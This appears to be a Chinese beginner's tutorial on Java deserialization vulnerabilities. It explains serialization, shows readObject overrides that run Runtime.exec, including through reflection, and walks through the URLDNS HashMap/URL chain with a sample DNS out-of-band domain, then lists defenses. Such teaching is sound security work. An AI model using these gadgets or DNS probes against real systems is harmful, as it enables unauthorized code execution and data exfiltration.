自己的一篇笔记,适用于初学者,有问题,请务必提醒我,进行改进。干了,兄弟们,。
目录
DNSlog链:发起url请求的漏洞 (原生链,测试漏洞的)
一.JAVA序列化和反序列化的介绍
Java序列化是指把对象转换为字节序列(字符串)的过程,反序列化是指把字节序列(字符串)又转化为Java对象的过程。
这里跟我先前讲述的一篇的php反序列化原理基本一样。当然这里java序列化和反序列化使用的是构造函数(方法)进行触发的,Java中private这种关键词是强类型的,不行就是不行(当然可以靠反射调用,但还是挺难的),直接报错,像php里面全靠使用者的“自觉”。
介绍这些,差不多够了。
二.构造方法
如何理解构造方法。
你可以看这篇文章,我个人认为这篇是写的比较好的。
三.用代码来理解序列化和反序列化
第一步:定义一个User类,序列化类
//定义了一个类叫User,并且继承Serializable这个类,没有这个类,就无法序列化,java会报错 public class User implements Serializable { public String name ="lisi"; //name属性,默认值lisi private int age = 18 ;//age属性,默认18 //构造User成员方法,并且调用name,age属性 public User(String name,int age) throws Exception { this.name = name;//name赋值的格式 this.age = age;//age赋值的格式 } //重载:因为类里面已经有了toString这个方法,想要再用,就需要这个,进行重载 @Override //重载构造了toString这个方法,类似重新写了这个方法。 public String toString(){//返回值是String类型,字符串类型 return "User{" + "username='" + name + '\'' + ", age=" + age + '}'; }
第二步:在我们的main这类(接口)进行序列化输出。
public class Main { public static void main(String[] args) throws Exception { User user1 = new User("yy",20);//调用我们的User类,赋值,对象user1 System.out.println(user1.name);//输出对象user1的名字 ObjectOutputStream output = new ObjectOutputStream(new FileOutputStream("cer.bin"));//将转换的流输入到二进制文件cer.bin中 output.writeObject(user1);//输出 output.close();//将此文件关闭 } } //执行一下
会得到一个二进制文件
优化一下,就是为了好看,封装在一个函数里面,在调用 .
public class Main { public static void main(String[] args) throws Exception { User user1 = new User("yy",20);//调用我们的User类,赋值,对象user1 System.out.println(user1.name);//输出对象user1的名字 ser(user1);//调用,序列化 } public static void ser(Object user) throws Exception { ObjectOutputStream output = new ObjectOutputStream(new FileOutputStream("cer.bin")); output.writeObject(user);//序列化user output.close(); } }
第三步:创建deruser类,进行反序列化输出。
public class deruser implements Serializable { public static void deruser() throws Exception { //之前序列化输出了cer.bin二进制文件,通过ObjectInputStream,FileInputStream转换为对象,进行一个读取操作。 ObjectInputStream deruser = new ObjectInputStream(new FileInputStream("cer.bin")); //由于上面已经转换为对象,声明一个类user2 Object user2 = deruser.readObject(); deruser.close();//关闭 System.out.println(user2.toString()); } }
再在main中调用
public class Main { public static void main(String[] args) throws Exception {
deruser.deruser();//调用反序列化
}public static void ser(Object user) throws Exception { ObjectOutputStream output = new ObjectOutputStream(new FileOutputStream("cer.bin")); output.writeObject(user); output.close(); }
在了解这个序列化过程中,如何实现反序列化漏洞呢?
如果开发人员在构造函数里面写了一个危险函数,比如Runtime.getRuntime().exec()命令执行函数方法。但单靠这个是无法自动执行。
所以在反序列代码中又readObject()类,你只要反序列化,就会执行这个类。
第一种
原生的readObject()是没有漏洞的,但是当进行重写的时候,开发人员,为了方便,给readObject()类进入其他功能,辅助开发人员使用。
这个只是用于理解,没有哪个程序员会在readObject()里面写Runtime.getRuntime().exec()
private void readObject(java.io.ObjectInputStream in) throws Exception { in.defaultReadObject(); Runtime.getRuntime().exec(this.name); }
第二种用反射机制
反射机制:是专门用来调用类和类中属性,私有/受保护类方法
比如说在反序列化中,user中,调用了readObject类,又在readObject类调用另外一个类,这个类中含有私有属性的危险方法。
由于私有属性的存在,你是调用不了的。第一种情况,是因为自己调用自己的情况。为了调用私有属性,就发明了反射机制。
通过下面这串代码实现反射,需要一定java基础。
private void readObject(java.io.ObjectInputStream in) throws Exception { in.defaultReadObject(); //Runtime.getRuntime().exec(this.name); //反射机制;是专门用来调用类和类中属性,私有/受保护类方法 //获取到Runtime这个类,以c命名。 Class c = Class.forName("java.lang.Runtime"); //通过getMethod获取getRuntime方法 Method method = c.getMethod("getRuntime"); //通过getMethod获取exec方法 Method exec = c.getMethod("exec",String.class); Runtime r = (Runtime) method.invoke(null,null); exec.invoke(r,this.name); }
先执行,生成二进制文件,也就是我们的payload, 在调用反序列化将此二进制文件进行转换。
总结特点:本类里面没有漏洞,但是在本个类里面又调用另外一个类,另外类里面有危险函数,私有属性,就必须用这个反射机制。
四.漏洞条件:
1.支持序列化
2.重写readObject
3.在重写readObject中调用了常见的类的函数方法
4.可以接受很多类型的参数(目标类的类型),可控。
比如说hashmap函数这个漏洞产生是调用hashmap方法,这个方法可以使我们能够执行漏洞执行代码——rce
五.入门漏洞点
本类里面的漏洞很少,一般都是类调用类中存在漏洞
DNSlog链:发起url请求的漏洞 (原生链,测试漏洞的)
首先:HashMap这个类里面有hash函数,传入一个类,并且调用这个传入类的hashcode方法,这就相当于一条路,但是后面又没有任何操作,导致这条路断掉了。所以又重新找哪个类里面有hashCode这方法。
然后:找找找,在jdk库里面,找到了URL这个类,URL这个类里面就有hashCode这个方法 ,并且还是public,又有路可以走了。
接着:URL中的hashCode,这里想要实现什么嘞,需要看URLStreamHandler.java这个类,里面有getHostAddress这个函数,这个的作用是进行DNS解析,那就可以进行DNS外带操作。
正式开始操作。
我们的思路就是通过hashmap类中的hash来调用URL中hashCode,用来dns外带
这个函数是在便利键和值,那我们就传入键和值和我们的
HashMap<Object,String> map = new HashMap<Object,String>(); URL url = new URL("http://5d47932ed7.ipv6.1433.eu.org"); map.put(url,"123");//将参数传入进去
整个过程
map.put将参数传入HashMap类里面,HashMap类进行遍历,调用hash函数,hash函数调用hashcode,传入的是URL类的,就会调用URL中hashcode(getHostAddress(url解析))
六.反序列化防御
1.避免不可信数据反序列化,实在需要,也要做好过滤规则。
2.制作白名单,只允许特定的类进行反序列化。
3.更新和补丁。
4.使用更安全的序列化机制